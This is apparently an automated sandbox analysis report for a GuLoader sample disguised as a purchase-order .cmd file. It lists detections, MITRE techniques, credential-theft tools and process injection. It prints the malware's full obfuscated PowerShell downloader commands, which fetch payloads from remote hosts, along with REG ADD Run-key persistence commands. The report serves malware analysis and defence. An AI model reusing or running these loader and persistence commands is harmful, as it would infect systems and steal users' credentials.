guloader | a16e6ab8d42469af04bbab862b8676b048cd5a597c4bd2691e604ff36b532958

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02/09/2024, 07:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Rfq_last_quater_product_purchase_order_import_list_2024_000000.cmd
Size 4KB
Sample240902-jhdgcawfpf
SHA256 a16e6ab8d42469af04bbab862b8676b048cd5a597c4bd2691e604ff36b532958
MD5 1ee8086d368635f0d555947f57594733
SHA1 efb679be50e6c248604a6776495d84606e0ff87f
SHA512 cb57d866414409c5ef0cfdd1c56fc296c10737f75f13d5cadd1b3bff9cc7dd2c8a658feb4c7c1226f84bf06cb8e1d8fb271749ee48b5d98ca9e765d799b2c863
SSDEEP 96:mQ+3LAMeI47OSNPzW3sVEaOIvBUGevTGS2KufGyK1fp:mQqVs71PSuGvTlufGV
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection credential_access discovery downloader execution persistence stealer

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/2108-76-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/1040-81-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3852-78-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/3852-78-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2108-76-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
7	2240	powershell.exe
37	2240	powershell.exe
55	4560	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4560	powershell.exe
3928	powershell.exe
2240	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Lungy = "%pigeonholes% -w 1 $Pseudospectral=(Get-ItemProperty -Path 'HKCU:\\Portefljernes\\').Skuespiller;%pigeonholes% ($Pseudospectral)"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bilateralities = "%Arrestationernes110% -w 1 $Faucals83=(Get-ItemProperty -Path 'HKCU:\\sttyskers\\').talevant;%Arrestationernes110% ($Faucals83)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 4 IoCs

pid	Process
4784	wab.exe
4784	wab.exe
4360	wab.exe
4360	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
3856	powershell.exe
4784	wab.exe
3928	powershell.exe
4360	wab.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 3856 set thread context of 4784	3856	powershell.exe	101
PID 4784 set thread context of 2108	4784	wab.exe	106
PID 4784 set thread context of 3852	4784	wab.exe	107
PID 4784 set thread context of 1040	4784	wab.exe	108
PID 3928 set thread context of 4360	3928	powershell.exe	114

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings	wab.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
4300	reg.exe
2832	reg.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
2240	powershell.exe
2240	powershell.exe
3856	powershell.exe
3856	powershell.exe
3856	powershell.exe
2108	wab.exe
2108	wab.exe
1040	wab.exe
1040	wab.exe
2108	wab.exe
2108	wab.exe
4560	powershell.exe
4560	powershell.exe
3928	powershell.exe
3928	powershell.exe
3928	powershell.exe
4360	wab.exe
4360	wab.exe
4360	wab.exe
4360	wab.exe
4360	wab.exe
4360	wab.exe
4360	wab.exe
4360	wab.exe
4360	wab.exe
4360	wab.exe
4360	wab.exe
4360	wab.exe
4360	wab.exe
4360	wab.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
3856	powershell.exe
4784	wab.exe
4784	wab.exe
4784	wab.exe
3928	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2240	powershell.exe
Token: SeDebugPrivilege	3856	powershell.exe
Token: SeDebugPrivilege	1040	wab.exe
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeDebugPrivilege	3928	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4784	wab.exe

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 2128 wrote to memory of 2240	2128	cmd.exe	83
PID 2128 wrote to memory of 2240	2128	cmd.exe	83
PID 2240 wrote to memory of 1644	2240	powershell.exe	85
PID 2240 wrote to memory of 1644	2240	powershell.exe	85
PID 2240 wrote to memory of 3856	2240	powershell.exe	99
PID 2240 wrote to memory of 3856	2240	powershell.exe	99
PID 2240 wrote to memory of 3856	2240	powershell.exe	99
PID 3856 wrote to memory of 1432	3856	powershell.exe	100
PID 3856 wrote to memory of 1432	3856	powershell.exe	100
PID 3856 wrote to memory of 1432	3856	powershell.exe	100
PID 3856 wrote to memory of 4784	3856	powershell.exe	101
PID 3856 wrote to memory of 4784	3856	powershell.exe	101
PID 3856 wrote to memory of 4784	3856	powershell.exe	101
PID 3856 wrote to memory of 4784	3856	powershell.exe	101
PID 3856 wrote to memory of 4784	3856	powershell.exe	101
PID 4784 wrote to memory of 392	4784	wab.exe	102
PID 4784 wrote to memory of 392	4784	wab.exe	102
PID 4784 wrote to memory of 392	4784	wab.exe	102
PID 392 wrote to memory of 2832	392	cmd.exe	104
PID 392 wrote to memory of 2832	392	cmd.exe	104
PID 392 wrote to memory of 2832	392	cmd.exe	104
PID 4784 wrote to memory of 3756	4784	wab.exe	105
PID 4784 wrote to memory of 3756	4784	wab.exe	105
PID 4784 wrote to memory of 3756	4784	wab.exe	105
PID 4784 wrote to memory of 2108	4784	wab.exe	106
PID 4784 wrote to memory of 2108	4784	wab.exe	106
PID 4784 wrote to memory of 2108	4784	wab.exe	106
PID 4784 wrote to memory of 2108	4784	wab.exe	106
PID 4784 wrote to memory of 3852	4784	wab.exe	107
PID 4784 wrote to memory of 3852	4784	wab.exe	107
PID 4784 wrote to memory of 3852	4784	wab.exe	107
PID 4784 wrote to memory of 3852	4784	wab.exe	107
PID 4784 wrote to memory of 1040	4784	wab.exe	108
PID 4784 wrote to memory of 1040	4784	wab.exe	108
PID 4784 wrote to memory of 1040	4784	wab.exe	108
PID 4784 wrote to memory of 1040	4784	wab.exe	108
PID 3756 wrote to memory of 4560	3756	WScript.exe	109
PID 3756 wrote to memory of 4560	3756	WScript.exe	109
PID 3756 wrote to memory of 4560	3756	WScript.exe	109
PID 4560 wrote to memory of 828	4560	powershell.exe	111
PID 4560 wrote to memory of 828	4560	powershell.exe	111
PID 4560 wrote to memory of 828	4560	powershell.exe	111
PID 4560 wrote to memory of 3928	4560	powershell.exe	112
PID 4560 wrote to memory of 3928	4560	powershell.exe	112
PID 4560 wrote to memory of 3928	4560	powershell.exe	112
PID 3928 wrote to memory of 2436	3928	powershell.exe	113
PID 3928 wrote to memory of 2436	3928	powershell.exe	113
PID 3928 wrote to memory of 2436	3928	powershell.exe	113
PID 3928 wrote to memory of 4360	3928	powershell.exe	114
PID 3928 wrote to memory of 4360	3928	powershell.exe	114
PID 3928 wrote to memory of 4360	3928	powershell.exe	114
PID 3928 wrote to memory of 4360	3928	powershell.exe	114
PID 3928 wrote to memory of 4360	3928	powershell.exe	114
PID 4360 wrote to memory of 3560	4360	wab.exe	115
PID 4360 wrote to memory of 3560	4360	wab.exe	115
PID 4360 wrote to memory of 3560	4360	wab.exe	115
PID 3560 wrote to memory of 4300	3560	cmd.exe	117
PID 3560 wrote to memory of 4300	3560	cmd.exe	117
PID 3560 wrote to memory of 4300	3560	cmd.exe	117

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Rfq_last_quater_product_purchase_order_import_list_2024_000000.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "If (${host}.CurrentUICulture) {$Spinelle159='SUBsTR';$Enoghalvfjerds++;}$Spinelle159+='ing';Function koldingenser($Advertiser){$Floccules=$Advertiser.Length-$Enoghalvfjerds;For( $Opbygningerne=2;$Opbygningerne -lt $Floccules;$Opbygningerne+=3){$Smeltesikringerne152+=$Advertiser.$Spinelle159.'Invoke'( $Opbygningerne, $Enoghalvfjerds);}$Smeltesikringerne152;}function Botchedly118($Belejringstilstandenes){ & ($Tilbagefrelsen) ($Belejringstilstandenes);}$Unfolding=koldingenser 'UvMKaoBuz iTelZal,taYd/Ud5In. c0 i Ba( rWTii,onUdd AoDowD,s,n .N T y Ar1 ,0Te.Tr0b.;Pe A WMeiUnn P6B,4,y;Sp Dix F6 ,4H.;Re D.rGevac:Pi1Ju2 U1Ha.Eu0 F) , K G.le Dc.ikPro D/On2Co0Ci1 M0 G0P,1V 0,j1C, ErFsti nr MePefSto OxSo/,t1 R2U 1 M.Sp0 ';$Haandvrksmesteren117=koldingenser 'BeU KsD eSir T-MeASpgO,eC n pt . ';$Bodemiddel=koldingenser ' eh ,t .tBip.rsTa:Li/So/Zia.iv ,oS,cDra.rl,odBoo EpCoeExrC,uM..dec FoslmTe/GgTKooSkpI.3Sa.Vep ,nM g n> MhP t BtFopDasOp:Bu/Fo/WaaExvEpo RcP a RlstdKnoInp.ne ,rS.uTroSlnC.e,r.F,c Ao .m,l/r.Tv,oHapAd3B,.SapFun .g , ';$Moen=koldingenser ' V> O ';$Tilbagefrelsen=koldingenser ' MiHoe Cx a ';$Samlerobjekt='Nationalisations';$Pindsvinestillingers = koldingenser 'Ame IcBehKaoPr T.%Dea Tp upApd Da PtT a,e%Ra\K,SCauBefPlfC r Da g,oiAltAniLos,h.CoHNeaGtmZi ,&Co&Sa B eMicC,hOvo.y Unt U ';Botchedly118 (koldingenser 've$ ug Cl uoD.b MaTyl M:LiO,rfMetBreVen S=A.(TrcFimTodSp ge/KocNo Q$DiP ,iManBrdCasSgvMiiTenBee es t i ylK l .iOsnU.gPee PrCasRe)Ud ');Botchedly118 (koldingenser ' R$Meg LlJooKlbFlaPrlDi: TFoa uBrtFoo SlTjo Ig HiArsBoiNanKag e= I$ dB UoSpdEveKomBriF dS.d .eAkl,a.,jsLbpO lSkiDitSy(fo$ SMVeoKeeR,nKo) v ');Botchedly118 (koldingenser 'l,[DaNSpeNotni.B,SAteo.r SvSki PcS eS.PAmoSki nRetanMNeaWenMaaRag We PrNo]F,:I :U,SC.eupcreuEcrSqiP,tS.yElP r .oBltBao,ocKioRelS. I,=Ca ,u[H.NFaeNotKo.EkSN.ePrct,uKlrU,i,atG yPePBrr EoUnt To.rcOvoF.lBoT SyTwpAse ,]Tc:U :TuTKvlS.spa1Pr2,t ');$Bodemiddel=$Tautologising[0];$Teltslagningernes= (koldingenser 'An$Drg .l foEnb,kaNulT.:F.N TaAdzPoi,rtPri.plEghSnnTegHaeRerMangye O=.oNN eSkwOr-F OS.b jMie McSptTe ,rS y .sdet Seapm u.BaNCoeFlt .PrW,ieVabbuCNel yiune TnAft');$Teltslagningernes+=$Often[1];Botchedly118 ($Teltslagningernes);Botchedly118 (koldingenser 'Ov$H,NF aVizExiF tSmiKllCahBjnFigEme ,rU,nSkeSi.P.H,peBaa AdSteE rH,sKo[ .$DoHRaa,ea SnA,d DvOlrAgk DsStmcaeTes,ct aeCarSoehynGr1 M1.u7De] = R$C,U An PfGaoStltydeniPrn.egMe ');$Rentebelbets84=koldingenser 'Un$s NDea Sz Vis tLeiAulNahShnUdg IeCor SnS,esp.LaDR.oSewPonerlKaoHjaMedSaFtiiAflNeeps(St$BrB Po PdT.eS,mF.i dr.d eeJolBe,gy$DiCReiCot UrLeoI.nm p pr me s,rs,aeMurLisD,)B, ';$Citronpressers=$Often[0];Botchedly118 (koldingenser ',i$OegA ldioArbmoaV.lY.: DF,tjIneRerDkbSvo RlK,dB =Ta(ReT ,eRasR.t -,ePStah,t oha, Co$BaCI i,it.hrClo n gpP.r,te esVosSee Sr Ms B) S ');while (!$Fjerbold) {Botchedly118 (koldingenser 'K,$,ug lE,oR,b BaR lFr:,ncchl RoO,sCohP.= S$ tt Cr uInete ') ;Botchedly118 $Rentebelbets84;Botchedly118 (koldingenser ' KSChtG,aElrs.t U- ISEllM,eU.eF pS Ch4E. ');Botchedly118 (koldingenser 'Ci$Ang elReoEub,haAglHj:F FExjT eDyrrebBaoIll ZdCa=Vg(p T heUssCrtS.-.oPFeaEptSeh O Se$F,C i.utUtr.eoSanB,p DrPaeVis lsRoe DrSas H)Re ') ;Botchedly118 (koldingenser 'U,$Syg HlSpoS,b.naPrlBr: FI,rn ,fSno.elStiN,a,ntKteR,=Bl$DegFolOsoAmbSaaI.l,a:L,P .adorSja.el.nl HeGelDio otFrrM.o.lpnii Bc S+sh+Mu% S$P,T saD,uWetIno .lIno TgSoiFis iRunUngBa. ycMuo.wu cn AtSt ') ;$Bodemiddel=$Tautologising[$Infoliate];}$Arielles=295285;$elaphomyces=27241;Botchedly118 (koldingenser ',j$F g ,lUmoFrbP,aV l U:.nDLyo auBebQul Ae Bl Ke ,aTrfP, .v=U, LeGL.eWots,-ThC,toGrn.ntM eLinAztr. A$E.CSeiOrtT rTeoManAkpR.rFoeTas.ls KeBarLusB, ');Botchedly118 (koldingenser ' $LigAplImo,eb.ra.nl.o: .MG iEpcSirGroDim.iiRen Ki uaSatPau ,rSki,uzDee tdRa E,= T Lg[S,S,uyC.s tAneprmEc.GnCOvoq.nAxv Ie SrRetCa]Be: k:SeF.er Aorom.aBH.aPes re,o6 4 GS.mtgar Ti NnCegK.(Un$ D RoDiuBebtel,ee Al eeUnaUsf V)B, ');Botchedly118 (koldingenser 'D $Stg ,lReoKvb .a olTa:BrS ryCln ecStrH,eOvtc iBesPomT 1As6 B2mi o,=U. ,r[SuS ,y UsPatHee MmHe.SlT.jeBrxHatBr. EB.n.ic.no DdViiU,nBrgSk] : D:IrAMoSSyCPrIMaIre.TiGPreZotIgSG,tjorR,i .nufgIn(Ar$ ,MD iPhc Or .oS,mSeiUdnBriSpaInt uPrr.aiGezDdeAsdWa)On ');Botchedly118 (koldingenser 'so$UdgPilRuoVibGraStlNr:.oMSpaExlHalV.uIrsAr7.o2De=b.$HyS yG,nCrc,ir,aeN tAciSesramA.1Ud6ho2Te.YasTeuDebSts,btSvr i kn,pgpi(Fo$InA.arTii oeNolh.l AeGasA,,Ov$.ueTrlScaNopPah SoFam,ryTac Selasfy)Br ');Botchedly118 $Mallus72;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Suffragitis.Ham && echo t"
    3⤵
    PID:1644
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentUICulture) {$Spinelle159='SUBsTR';$Enoghalvfjerds++;}$Spinelle159+='ing';Function koldingenser($Advertiser){$Floccules=$Advertiser.Length-$Enoghalvfjerds;For( $Opbygningerne=2;$Opbygningerne -lt $Floccules;$Opbygningerne+=3){$Smeltesikringerne152+=$Advertiser.$Spinelle159.'Invoke'( $Opbygningerne, $Enoghalvfjerds);}$Smeltesikringerne152;}function Botchedly118($Belejringstilstandenes){ & ($Tilbagefrelsen) ($Belejringstilstandenes);}$Unfolding=koldingenser 'UvMKaoBuz iTelZal,taYd/Ud5In. c0 i Ba( rWTii,onUdd AoDowD,s,n .N T y Ar1 ,0Te.Tr0b.;Pe A WMeiUnn P6B,4,y;Sp Dix F6 ,4H.;Re D.rGevac:Pi1Ju2 U1Ha.Eu0 F) , K G.le Dc.ikPro D/On2Co0Ci1 M0 G0P,1V 0,j1C, ErFsti nr MePefSto OxSo/,t1 R2U 1 M.Sp0 ';$Haandvrksmesteren117=koldingenser 'BeU KsD eSir T-MeASpgO,eC n pt . ';$Bodemiddel=koldingenser ' eh ,t .tBip.rsTa:Li/So/Zia.iv ,oS,cDra.rl,odBoo EpCoeExrC,uM..dec FoslmTe/GgTKooSkpI.3Sa.Vep ,nM g n> MhP t BtFopDasOp:Bu/Fo/WaaExvEpo RcP a RlstdKnoInp.ne ,rS.uTroSlnC.e,r.F,c Ao .m,l/r.Tv,oHapAd3B,.SapFun .g , ';$Moen=koldingenser ' V> O ';$Tilbagefrelsen=koldingenser ' MiHoe Cx a ';$Samlerobjekt='Nationalisations';$Pindsvinestillingers = koldingenser 'Ame IcBehKaoPr T.%Dea Tp upApd Da PtT a,e%Ra\K,SCauBefPlfC r Da g,oiAltAniLos,h.CoHNeaGtmZi ,&Co&Sa B eMicC,hOvo.y Unt U ';Botchedly118 (koldingenser 've$ ug Cl uoD.b MaTyl M:LiO,rfMetBreVen S=A.(TrcFimTodSp ge/KocNo Q$DiP ,iManBrdCasSgvMiiTenBee es t i ylK l .iOsnU.gPee PrCasRe)Ud ');Botchedly118 (koldingenser ' R$Meg LlJooKlbFlaPrlDi: TFoa uBrtFoo SlTjo Ig HiArsBoiNanKag e= I$ dB UoSpdEveKomBriF dS.d .eAkl,a.,jsLbpO lSkiDitSy(fo$ SMVeoKeeR,nKo) v ');Botchedly118 (koldingenser 'l,[DaNSpeNotni.B,SAteo.r SvSki PcS eS.PAmoSki nRetanMNeaWenMaaRag We PrNo]F,:I :U,SC.eupcreuEcrSqiP,tS.yElP r .oBltBao,ocKioRelS. I,=Ca ,u[H.NFaeNotKo.EkSN.ePrct,uKlrU,i,atG yPePBrr EoUnt To.rcOvoF.lBoT SyTwpAse ,]Tc:U :TuTKvlS.spa1Pr2,t ');$Bodemiddel=$Tautologising[0];$Teltslagningernes= (koldingenser 'An$Drg .l foEnb,kaNulT.:F.N TaAdzPoi,rtPri.plEghSnnTegHaeRerMangye O=.oNN eSkwOr-F OS.b jMie McSptTe ,rS y .sdet Seapm u.BaNCoeFlt .PrW,ieVabbuCNel yiune TnAft');$Teltslagningernes+=$Often[1];Botchedly118 ($Teltslagningernes);Botchedly118 (koldingenser 'Ov$H,NF aVizExiF tSmiKllCahBjnFigEme ,rU,nSkeSi.P.H,peBaa AdSteE rH,sKo[ .$DoHRaa,ea SnA,d DvOlrAgk DsStmcaeTes,ct aeCarSoehynGr1 M1.u7De] = R$C,U An PfGaoStltydeniPrn.egMe ');$Rentebelbets84=koldingenser 'Un$s NDea Sz Vis tLeiAulNahShnUdg IeCor SnS,esp.LaDR.oSewPonerlKaoHjaMedSaFtiiAflNeeps(St$BrB Po PdT.eS,mF.i dr.d eeJolBe,gy$DiCReiCot UrLeoI.nm p pr me s,rs,aeMurLisD,)B, ';$Citronpressers=$Often[0];Botchedly118 (koldingenser ',i$OegA ldioArbmoaV.lY.: DF,tjIneRerDkbSvo RlK,dB =Ta(ReT ,eRasR.t -,ePStah,t oha, Co$BaCI i,it.hrClo n gpP.r,te esVosSee Sr Ms B) S ');while (!$Fjerbold) {Botchedly118 (koldingenser 'K,$,ug lE,oR,b BaR lFr:,ncchl RoO,sCohP.= S$ tt Cr uInete ') ;Botchedly118 $Rentebelbets84;Botchedly118 (koldingenser ' KSChtG,aElrs.t U- ISEllM,eU.eF pS Ch4E. ');Botchedly118 (koldingenser 'Ci$Ang elReoEub,haAglHj:F FExjT eDyrrebBaoIll ZdCa=Vg(p T heUssCrtS.-.oPFeaEptSeh O Se$F,C i.utUtr.eoSanB,p DrPaeVis lsRoe DrSas H)Re ') ;Botchedly118 (koldingenser 'U,$Syg HlSpoS,b.naPrlBr: FI,rn ,fSno.elStiN,a,ntKteR,=Bl$DegFolOsoAmbSaaI.l,a:L,P .adorSja.el.nl HeGelDio otFrrM.o.lpnii Bc S+sh+Mu% S$P,T saD,uWetIno .lIno TgSoiFis iRunUngBa. ycMuo.wu cn AtSt ') ;$Bodemiddel=$Tautologising[$Infoliate];}$Arielles=295285;$elaphomyces=27241;Botchedly118 (koldingenser ',j$F g ,lUmoFrbP,aV l U:.nDLyo auBebQul Ae Bl Ke ,aTrfP, .v=U, LeGL.eWots,-ThC,toGrn.ntM eLinAztr. A$E.CSeiOrtT rTeoManAkpR.rFoeTas.ls KeBarLusB, ');Botchedly118 (koldingenser ' $LigAplImo,eb.ra.nl.o: .MG iEpcSirGroDim.iiRen Ki uaSatPau ,rSki,uzDee tdRa E,= T Lg[S,S,uyC.s tAneprmEc.GnCOvoq.nAxv Ie SrRetCa]Be: k:SeF.er Aorom.aBH.aPes re,o6 4 GS.mtgar Ti NnCegK.(Un$ D RoDiuBebtel,ee Al eeUnaUsf V)B, ');Botchedly118 (koldingenser 'D $Stg ,lReoKvb .a olTa:BrS ryCln ecStrH,eOvtc iBesPomT 1As6 B2mi o,=U. ,r[SuS ,y UsPatHee MmHe.SlT.jeBrxHatBr. EB.n.ic.no DdViiU,nBrgSk] : D:IrAMoSSyCPrIMaIre.TiGPreZotIgSG,tjorR,i .nufgIn(Ar$ ,MD iPhc Or .oS,mSeiUdnBriSpaInt uPrr.aiGezDdeAsdWa)On ');Botchedly118 (koldingenser 'so$UdgPilRuoVibGraStlNr:.oMSpaExlHalV.uIrsAr7.o2De=b.$HyS yG,nCrc,ir,aeN tAciSesramA.1Ud6ho2Te.YasTeuDebSts,btSvr i kn,pgpi(Fo$InA.arTii oeNolh.l AeGasA,,Ov$.ueTrlScaNopPah SoFam,ryTac Selasfy)Br ');Botchedly118 $Mallus72;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3856
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Suffragitis.Ham && echo t"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1432
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4784
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lungy" /t REG_EXPAND_SZ /d "%pigeonholes% -w 1 $Pseudospectral=(Get-ItemProperty -Path 'HKCU:\Portefljernes\').Skuespiller;%pigeonholes% ($Pseudospectral)"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:392
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lungy" /t REG_EXPAND_SZ /d "%pigeonholes% -w 1 $Pseudospectral=(Get-ItemProperty -Path 'HKCU:\Portefljernes\').Skuespiller;%pigeonholes% ($Pseudospectral)"
        6⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:2832
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Andragendet8.vbs"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3756
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentUICulture) {$alismataceae='SUBsTR';$Lotah++;}$alismataceae+='ing';Function Viscometres($Rubellosis){$Overdaadigt=$Rubellosis.Length-$Lotah;For( $dekanterendes=2;$dekanterendes -lt $Overdaadigt;$dekanterendes+=3){$Firblads159+=$Rubellosis.$alismataceae.'Invoke'( $dekanterendes, $Lotah);}$Firblads159;}function Tilfredsstillelse($konerne){ . ($Hemibasidiomycetes) ($konerne);}$Annegretes=Viscometres 'BuMVio.lzNyiEfl,ilPraPr/Sn5Te.Fr0f ,l(gaW Ti.anSpds o,aw asFi h N aTAs z1,a0Sy.ud0Bi;bi TpW ,iOpnV,6Te4 C; r Bix P6Ud4Ng; ,trUnv ,: .1Sk2,r1,l.Di0Va),n ,GPre .cSkk oG,/Sm2Fa0R.1Ug0 .0ap1So0 R1Ge VeFS.iSar deStfrioRaxKu/ 1 P2,h1Os. .0 , ';$Milieuplanerne=Viscometres 'YoUVesLreTerPr-W A,rgRhe,yn,ct.u ';$Bageriers=Viscometres 'EnhFotAnt p L:Re/.l/IlcN.p.oaJunS.e lC.-Sma ndD.m ,iOpnT.h uoPesF t E..fcU.oKom.a/DeS PtN emevChnSts T1Ta7 C9Si.R mYoiAux.o ';$Arish=Viscometres 'Se>Re ';$Hemibasidiomycetes=Viscometres 'AmiGeePrxUd ';$Svaerd='Incisal';$dekanterendesndoneser = Viscometres 'w,er,cExh eoCh F %ReaInpCap dL aP,tU.aMo%H.\ChBLie.olAsi Un SdToaDe1Ch0 .3 .XoETofInt,t ,&Co& S SeMec EhS.o,i Gltuf ';Tilfredsstillelse (Viscometres 'Me$.ig olBloEdbGua.llD,:HiSEtt Mo AnS.e Er.foNioLatE = S(ArcTym.edWl M / rc U K$ ndD,e ,k GaKanEftI eOprT.e onOudHne.osTan,idPuo,on LeKes ieNurLs),f ');Tilfredsstillelse (Viscometres 'ta$Ovg klSpoKrbS aUnl ,:JoL ieH v de draneYed TeResBo=I.$ KBZia VgreeR,r,ei eePyr Eshy.TrsT,pErl.aitat,e( .$,oA .rRaiEnsSch O)Ph ');Tilfredsstillelse (Viscometres 'T,[JoN LeKrt.n.VaS e ur v,oiSic .eCaP,co Ki .nKntD,MFiacrn CaVagAse erR ] e:De:,oS eAfcHauFrrF iEntPryTaPLirBeoMet soPecM.o.il K Es=M ,d[ ONSte .tSj. ,SAfeN,cKruT r TiUntcoysoPSkr Aot t oHjc Ao,glBoTFiyBrpQ e.e] C:Va:U.T ,lS.s f1,r2.r 